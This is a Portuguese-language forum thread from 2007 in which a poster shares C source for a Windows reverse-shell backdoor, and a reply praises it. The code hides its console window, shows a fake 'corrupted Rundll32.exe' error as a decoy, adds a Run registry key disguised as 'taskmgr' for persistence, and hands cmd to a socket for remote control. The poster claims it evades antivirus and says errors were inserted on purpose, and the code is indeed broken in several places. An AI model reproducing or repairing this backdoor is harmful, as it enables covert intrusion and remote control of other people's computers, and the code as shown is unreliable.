Shell Remoto sem pipes e com conexão reversa

Started by Anonymous, 05 de April , 2007, 01:16:40 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

Bem, a algum tempo eu tenho pesquisado sobre como conseguir um shell remoto para uma máquina tipo Windows.

Numa máquina Linux é bem simples, use um fork, dup2 e um execl e pronto. Mas e no windows?

Bem, descobri que no WIndows deveremos criar 2 pipes.

Até aí mtudo bem, já estava satisfeito.

Mas descobri um cara que me indicou dar uma lida sobre STARTUPINFO na página de referência do Windows.

Descobri algumas variáveis da estrutura STARTUPINFO muito interessantes e que, com elas, seria desnecessário a criação de pipes.

HANDLE hStdInput;
HANDLE hStdOutput;

faz o papel dos pipes para nós!

Bem, não vou explicar sobre a extrutura STARTUPINFO. Se você quiser saber mais sobre ela: http://msdn2.microsoft.com/en-us/library/ms686331.aspx

Então aqui está o source de um backdoor bem simples, com conexão reversa, com ativação em toda inicialização do Windows e invisível (não abre janela e não detectável pelo Antivírus).

/*
Conexão reversa com command para Windows.

Para coimpilar, link ao arquivo libWs2_32.a

*/

#include <stdio.h>

int main() {
char cmdpath[MAX_PATH];
struct sockaddr_in sin;
WSADATA wd;
int sock;
PROCESS_INFORMATION proc;
STARTUPINFO startup;
HKEY chave;
HWND stealth
AllocConsole()
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
MessageBox(0,"O arquivo Rundll32.exe está corrompido.","Erro!",MB_OK|MB_ICONERROR);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&chave) != 0){
MessageBox(0,"Ocorreu um erro ao abrir a chave! Veja se você tem direito de Administrador","Erro",0x10);
return 1;
}
if(RegSetValueEx(chave,"taskmgr",0,REG_SZ,(LPBYTE)"C:\\taskmgr.exe",15) != 0) MessageBox(0,"Ocorreu um erro ao escrever o valor! Veja se você tem direito de Administrador","Erro",0x10);

RegCloseKey(chave1);
for(;;){
memset(&sin, 0, sizeof(sin));
WSAStartup(MAKEWORD(1, 1), &wd);
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons(21);
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
for(;;) {

if (!connect(sock, (struct sockaddr*)&sin, sizeof(sin))) break;
}

GetEnvironmentVariable("COMSPEC1", cmdpath, MAX_PATH);

ZeroMemory(&startup, sizeof(STARTUPINFO));
startup.cb = sizeof(STARTUPINFO);
startup.dwFlags = STARTF_USESTDHANDLES;
startup.hStdInput = startup.hStdOutput = startup.hStdError = (HANDLE)sock;

if (!CreateProcess(0, cmdpath, 0, 0, 1, 0, 0, 0, &startupp, &proc))
}
return 0;
}

Coloquei alguns erros propositais para que não seja usado para qualquer um e nem para coisas más.

Abraços a todos.

HadeS

Muito legal Mago, parabéns.

Mais tarde eu dou uma olhada mais com calma e compilo aqui pra fazer alguns testes.

HadeS